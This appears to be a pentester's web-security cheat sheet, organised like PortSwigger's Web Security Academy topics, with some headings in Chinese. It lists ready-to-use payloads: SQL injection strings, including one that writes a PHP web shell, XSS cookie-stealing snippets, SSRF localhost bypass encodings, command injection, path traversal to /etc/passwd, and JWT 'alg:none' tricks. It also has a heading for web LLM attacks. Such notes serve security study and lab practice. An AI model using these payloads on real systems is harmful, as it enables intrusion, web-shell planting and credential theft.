Cheat Sheet
- Database
- HTML, JS, Browser
- Server Side
- API Testing
- Auth
- Basic
- HTTP
SQL Injection
Cheat Sheet
https://portswigger.net/web-security/sql-injection/cheat-sheet
Recon
'' OR 1=1#' OR '1'='1" OR "1"="1"-- 123" OR "1"="1" LIMIT 1#
UNION Based
' UNION SELECT NULL#' UNION SELECT NULL FROM dual--' UNION SELECT 1, 'string'#' UNION SELECT '<?php $host = "localhost"; system($_GET["cmd"]); ?>' INTO OUTFILE 'D:/xampp/htdocs/shell.php'
Stacked Queries
';SELECT 1/name FROM sysobjects WHERE xtype LIKE 'U' AND name BETWEEN 'A' AND 'AZ'
Error Based
'' OR CAST((SELECT username FROM users LIMIT 1) AS boolean)--ExtractValueandCONCATUpdateXMLandCONCAT' AND 1 = CONVERT(int,@@version)--123' AND 1 = CONVERT(int,(SELECT table_name FROM information_schema.tables FOR XML PATH('')))--';SELECT 1/name FROM sysobjects WHERE xtype LIKE 'U' AND name BETWEEN 'A' AND 'AZ'
Boolean Based
' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)=20) = 'a
Blind
Bypass Skill
- white space not allowed =>
/**/,%20,+,\t (,),=,>,<,.not allowed- CRLF Injection:
\r\n,%0d%0a Char()
NoSQL injection
'||'1'=='1%00as terminator- operator injection
- Boolean Based
XSS
Basic Payloads
<script>alert(1)<script>alert(1)</script><SCRIpt>alert(1)</scriPT>"/><script>alert(1)</script><img src=x onerror=alert(1)>javascript:alert(1)123" autofocus onfocus="alert(0)" data-type="456<di onfocus="alert(document.cookie)" tabindex="0" autofocus></di>';alert(1);var a = '3<svg><animateTransform onbegin="alert(1)" attributeName="transform" dur="0.1s" /></svg>'accesskey='x'onclick='alert(1)<svg><a><animate attributeName="href" values="javascript:alert(1)" /><text x=20 y=20>Click me</text></a></svg>(,),{,}and;are blocked
AngularJS
{{ constructor.constructor('alert("XSS")')() }}- AngularJS 1
- AngularJS 2
DOM-based vulnerabilities
Prototype Pollution
Concept
Tools
Recon
script.src = data:text/javascript,alert(1)eval- sanitize non-recursively =>
____proto__proto__ - Detecting server-side prototype pollution via polluted property reflection
- SSTI
CSRF
Prerequisite
- Simple Request (HTML
<form>,<img>,<iframe>可發出的請求)
Recon
- CSRF Token Bypass
- CSRF Token + CRLF Injection Bypass
- SameSite Bypass
- Referer Bypass
CORS
WebSocket
XXE
- XXE leads to LFI
- XXE leads to SSRF
- XInclude leads to LFI
- XXE via SVG Image Upload
- Blind XXE via External DTD
- XXE via Error Msg
SSRF
Recon
- SSRF to localhost
- Bypass 黑名單
- Decimal:
http://2130706433 - Octal:
http://017700000001 - Short form:
http://127.1 - Full URL encoding:
http://%31%32%37%2e%30%2e%30%2e%31 - Hex:
http://0x7f.0.0.1 - Partial URL encoding:
http://%3127.0.0.1
- Decimal:
- Bypass 白名單
- URL Encode Fragment:
http://localhost%23@vulnerable-website.com - Double URL Encode With username:password:
http://localhost:80%2523@vulnerable-website.com
- URL Encode Fragment:
- SSRF via Open Redirect
- Flawed Logic via
String.startsWith:http://vulnerable-website.com.hackingwithpentesterlab.linkhttps://whatever-hostname.hackingwithpentesterlab.link
Tools
- URL Encode All Characters
function encodeSingleStringToURIComponent(str) {
return "%" + str.charCodeAt(0).toString(16);
}
OS command injection
Useful commands
https://portswigger.net/web-security/os-command-injection#useful-commands
Recon
1 & echo whoami && ping -c 10 127.0.0.1 && whoami > /var/www/images/whoami.txt &- Ways of injecting OS commands
Server-side template injection
${{<%[%'"}}%\- Ruby ERB
- Python tornado
- Apache FreeMarker
- Handlebars.js
- Python Django
- Apache FreeMarker (EXPERT)
- PHP Twig (EXPERT)
Code Injection
- inject
',",},;,$,#,;ls;,|ls - string concat:
.,+ - comment out:
#,//,;// - execute code:
eval('ls')
exec('ls')
system('ls')
`uname`
Deserialization
Tools
Recon
- PHP 7.x
0 == "string" - Source Code Access + PHP
- Exploiting Java deserialization with Apache Commons
- Universal Deserialisation Gadget for Ruby 2.x-3.x
- Source Code Access + Java
Access control
/robots.txt- Reuqest Param
Cookie: admin=true?role=1roleid=2
X-Original-URL- Casing, File Extension, Trailing Slash
- 30x With Sensitive Data
- IDOR
?id=administrator?userId=1
- Referer Based
API testing
- Find
/apiDocument - Try Different HTTP Request Methods
- Mass assignment
- server-side parameter pollution in a query string
- server-side parameter pollution in a REST URL (EXPERT)
Business logic vulnerabilities
- 加入購物車 price
- 加入購物車 qty 負數
- 加入購物車 qty Integer overflow
- padding@vulnerable-website.com.attacker-website.com
- privilege escalation via update userInfo
- Insufficient workflow validation
- 兩張折價券交替使用
- encryption oracle
- email address parsing discrepancies (EXPERT)
GraphQL API
- Common endpoint names
- Running a full introspection query
- Bypassing GraphQL introspection defenses
- Multi query
File upload
Tools
Recon
- Web Shell Upload
Web LLM attacks
Authentication
- Username/Password enumeration
- Brute-Force verification code
- Password reset using victim's username
- Password reset poison via
X-Forward-Host - Case insensitive: "admin" vs "Admin"
- Space allowed: "admin" vs "admin "
OAuth
- token not bind to user
- profile linking CSRF (no state param)
- OAuth account hijacking via redirect_uri
- OAuth account hijacking via Open Redirect
- SSRF via OpenID dynamic client registration
JWT
Tools
Recon
- unverified signature
- "alg":"none" or "alg": "None"
- Brute-forcing secret keys using hashcat
- header injection
- algorithm confusion
Path traversal
- Basic:
../../../etc/passwd - Strip non-recursively
- URL Encode
- Partial URL Encode:
..%2F..%2F..%2Fetc%2Fpasswd - URL Encode:
%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd - Double URL Encode:
%252e%252e%252f%252e%252e%252f%252e%252e%252fetc%252fpasswd
- Partial URL Encode:
- Start Path:
/var/www/images/../../../etc/passwd - Null Byte:
../../../etc/passwd%00.jpg /etc/./passwd/etc/../etc/passwd/etc/../ETC/passwd/pentesterlab;pentesterlab- Windows:
non-exist-dir/../../../file.txt
Information disclosure
- Fingerprint (Response Headers, 404 Page, Malformed Request)
- Error Message
- Debug Page
/robots.txt- HTTP TRACE
- HTML comment, JS Links, API & Secret Key, Source Map
- ffuf, nmap http-enum
HTTP Host header attacks
- Supply an arbitrary Host header
- Web Cache Posioning
- authentication bypass
- virtual host brute-forcing
- Routing-based SSRF
- Connection state attacks
- SSRF via a malformed request line
- Password reset poisoning
Web cache poisoning
- unkeyed input
Pragma: akamai-x-get-cache-key,Pragma: x-get-cache-key- Path normalization
- Parameter cloaking
- URL normalization
- Cache Key Injection
- Internal cache poisoning (EXPERT)
Web cache deception
- Path mapping discrepancies:
/user/1vs/user/1/style.css - Delimiter discrepancies:
/profilevs/profile;foo.css - Delimiter decoding discrepancies:
/profilevs/profile%23style.css - Normalization discrepancies
- exact-match cache rules (EXPERT)
Race conditions
HTTP request smuggling
Note
Recon
- HTTP/1.1
- CL.TE
- TE.CL
- TE.TE (obfuscating the TE header)
- 0.CL (EXPERT)
- Browser-powered
- CL.0
- client side desync
- Server-side pause-based desync
- HTTP/2
- Revealing front-end request rewriting
- Capturing other users' requests
- User Agent Reflected XSS
- Web Cache Poisoning (EXPERT)
- Web Cache Deception (EXPERT)